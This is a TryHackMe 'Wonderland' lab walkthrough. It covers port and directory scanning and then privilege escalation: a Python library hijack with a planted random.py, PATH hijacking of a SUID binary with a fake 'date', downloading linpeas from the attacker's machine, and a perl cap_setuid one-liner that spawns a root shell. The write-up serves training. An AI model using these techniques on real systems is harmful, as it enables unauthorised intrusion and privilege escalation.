Wonderland – A TryHackMe Writeup

This article is a write-up of the TryHackMe Room “Wonderland”. I will explain my way of tackling this room and show you the solution that worked for me. No flags will be shown!

Link to the room: https://tryhackme.com/room/wonderland

Difficulty: Intermediate
Time: 15-30 minutes, depending on your knowledge

Prerequisites

  • Connect to the TryHackMe VPN and find your IP address
  • Start the room and note the IP address of your server

I suggest you create a variable of the IP address in your terminal instance – This makes it easier to follow my guide.

IP=SERVER_IP

All commands are tested on a „fresh“ Kali Linux installation. If you are using a different OS, you might need to change parts of these commands.

Task 1: Obtain the flags

Task 1.1: Obtain the user flag

As always we want to start with enumerating the target. We will begin with nmap to see the possible attack vectors.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV $IP
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-11 17:03 EST
Nmap scan report for 10.10.141.129
Host is up (0.071s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8eeefb96cead70dd05a93b0db071b863 (RSA)
|   256 7a927944164f204350a9a847e2c2be84 (ECDSA)
|_  256 000b8044e63d4b6947922c55147e2ac9 (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.13 seconds

As we can see, port 80 seems to be open and serving a website. Let’s scan this webserver for directories with gobuster.

──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt --url http://$IP  
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.141.129
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2022/11/11 17:05:15 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 0] [--> img/]
/r                    (Status: 301) [Size: 0] [--> r/]

There is a directory called /r. We should scan that in a separate window.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt --url http://$IP/r
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.141.129/r
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2022/11/11 17:06:30 Starting gobuster in directory enumeration mode
===============================================================
/a                    (Status: 301) [Size: 0] [--> a/]

Another directory called /a. At this point you could start scanning this directory again but if you noticed the theme of the room, you might have also noticed that this will spell our /r/a/b/b/i/t.

If you browse this directory you are greeted by this page, which contains a username and password in the source code:

With these credentials, we are able to log in via SSH.

ssh alice@$IP

A quick look around and we notice something. There is a root.txt file in the home directory of Alice that we cannot read. Too bad! We also find a file called walrus_and_the_carpenter.py. More on that later.

alice@wonderland:~$ ls -lah
total 40K
drwxr-xr-x 5 alice alice 4.0K May 25  2020 .
drwxr-xr-x 6 root  root  4.0K May 25  2020 ..
lrwxrwxrwx 1 root  root     9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 alice alice  220 May 25  2020 .bash_logout
-rw-r--r-- 1 alice alice 3.7K May 25  2020 .bashrc
drwx------ 2 alice alice 4.0K May 25  2020 .cache
drwx------ 3 alice alice 4.0K May 25  2020 .gnupg
drwxrwxr-x 3 alice alice 4.0K May 25  2020 .local
-rw-r--r-- 1 alice alice  807 May 25  2020 .profile
-rw------- 1 root  root    66 May 25  2020 root.txt
-rw-r--r-- 1 root  root  3.5K May 25  2020 walrus_and_the_carpenter.py

We should start investigating how we can escalate our privileges. How about sudo -l?

alice@wonderland:~$ sudo -l
[sudo] password for alice: 
Matching Defaults entries for alice on wonderland:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on wonderland:
    (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

Looks like we can run this walrus file as the user rabbit. Let’s see what the file does.

nano walrus_and_the_carpenter.py

import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright —
And this was odd, because it was
The middle of the night.
[...]

Looks like it is importing random. If we create a file called random.py and let that file execute /bin/bash we should be able to get access to a shell as the user rabbit.

nano random.py

import os
os.system("/bin/bash")

Now we have to execute the walrus script as the user rabbit. Please note that you need to use the absolute path for both, the python binary and the python script, otherwise the system will not let you execute as another user.

alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py 
rabbit@wonderland:~$

That worked. We now have a shell as the user rabbit. Let’s look around! Keep in mind that you still working out of Alice’s directory. You need to change the directory to /home/rabbit.

rabbit@wonderland:/home/rabbit$ ls -lah
total 40K
drwxr-x--- 2 rabbit rabbit 4.0K May 25  2020 .
drwxr-xr-x 6 root   root   4.0K May 25  2020 ..
lrwxrwxrwx 1 root   root      9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 rabbit rabbit  220 May 25  2020 .bash_logout
-rw-r--r-- 1 rabbit rabbit 3.7K May 25  2020 .bashrc
-rw-r--r-- 1 rabbit rabbit  807 May 25  2020 .profile
-rwsr-sr-x 1 root   root    17K May 25  2020 teaParty

We find a file with the suid bit set. On execution we are greeted with the following:

rabbit@wonderland:~$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Fri, 11 Nov 2022 23:41:58 +0000
Ask very nicely, and I will give you some tea while you wait for him
    
Segmentation fault (core dumped)

Let’s look a little bit closer. Since strings is not installed on the victim we need to copy the file to our system first. To do that we need to make sure that Alice can access the file first.

chmod 777 /home/rabbit

Now we exit the rabbit shell and copy the file to Alice’s home directory and start an HTTP server with python.

cp /home/rabbit/teaParty .
python3 -m http.server           

#NOTE: For some reason I had to type "exit" again before the server would start. I guess it has something to do with the way we got the rabbit shell but I am not 100% sure
wget http://$IP:8000/teaParty

Now that we have the file on our system we can examine it with strings.

┌──(kali㉿kali)-[~]
└─$ strings teaParty 
/lib64/ld-linux-x86-64.so.2
2U~4
libc.so.6
setuid
puts
getchar
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
Welcome to the tea party!
The Mad Hatter will be here soon.
/bin/echo -n 'Probably by ' && date --date='next hour' -R
Ask very nicely, and I will give you some tea while you wait for him
Segmentation fault (core dumped)
[...]

It looks like the script calls date without specifying the absolute path. That means, again, we can build our own date file and make the tool execute it. This time tho, we have to change the default path to point to our malicious date file.

First we create our malicious date file and make it executable.

nano date

/bin/bash

chmod +x date

Next, we change the path for date to point to our directory.

export PATH=/home/rabbit:$PATH

#NOTE: This will break some commands. If you mess up, close the rabbit shell and start again.

Every time the teaParty executable tries to run date it will now look for it in /home/rabbit instead and run our malicious file.

rabbit@wonderland:/home/rabbit$ ./teaParty 
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$

We got the hatter! Alright. What now? Check the home directory of course!

ls /home/hatter

password.txt

We found the password of the hatter. Let’s try to login via ssh so that we have a clean shell.

ssh hatter$IP

Alright now that we have a clean shell, we can start to check how we can escalate our privileges to root. We can use linpeas to do that for us.

We can create a very simple HTTP server on our system, in the directory where linpeas is located.

python3 -m http.server

┌──(kali㉿kali)-[~/Documents/tryhackme/brooklyn99]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

On the target machine we can now use wget to download the file.

wget http://YOUR_IP:8000/linpeas.sh

****@brookly_nine_nine:~$ wget http://10.8.21.146:8000/linpeas.sh
--2022-11-08 18:11:21--  http://10.8.21.146:8000/linpeas.sh
Connecting to 10.8.21.146:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 827827 (808K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh               100%[===============================>] 808.42K  1.44MB/s    in 0.5s    

2022-11-08 18:11:22 (1.44 MB/s) - ‘linpeas.sh’ saved [827827/827827]

Now we need to make linpeas.sh executable and run it. I have condensed the output to what actually matters, otherwise you would need to scroll way too far.

╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities                                                                     
Current env capabilities:                                                 
Current: =
Current proc capabilities:
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Parent Shell capabilities:
0x0000000000000000=

Files with capabilities (limited to 50):
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep

Linpeas found some binaries with the cap_setuid capability set. This should be exploitable. A quick check on GTFObins confirms this suspicion.

GTFObins – perl

Let’s try this command.

hatter@wonderland:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# whoami
root

Success! We should now be able to access the root flag in Alice’s home directory. But what about the user flag?

# cat /home/alice/root.txt
thm{REDACTED}

Remember the theme of this room? Everything seems to be a little off, doesn’t it? Let’s check the /root directory for a flag.

# cat /root/user.txt    
thm{REDACTED}

There we go! We got both flags. Room finished!

The End

That was the room “Wonderland”. I hope everything was clear. If not, please let me know. I will try to answer all questions that come up.

Leave a comment

Your email address will not be published. Required fields are marked *

Consent Management Platform by Real Cookie Banner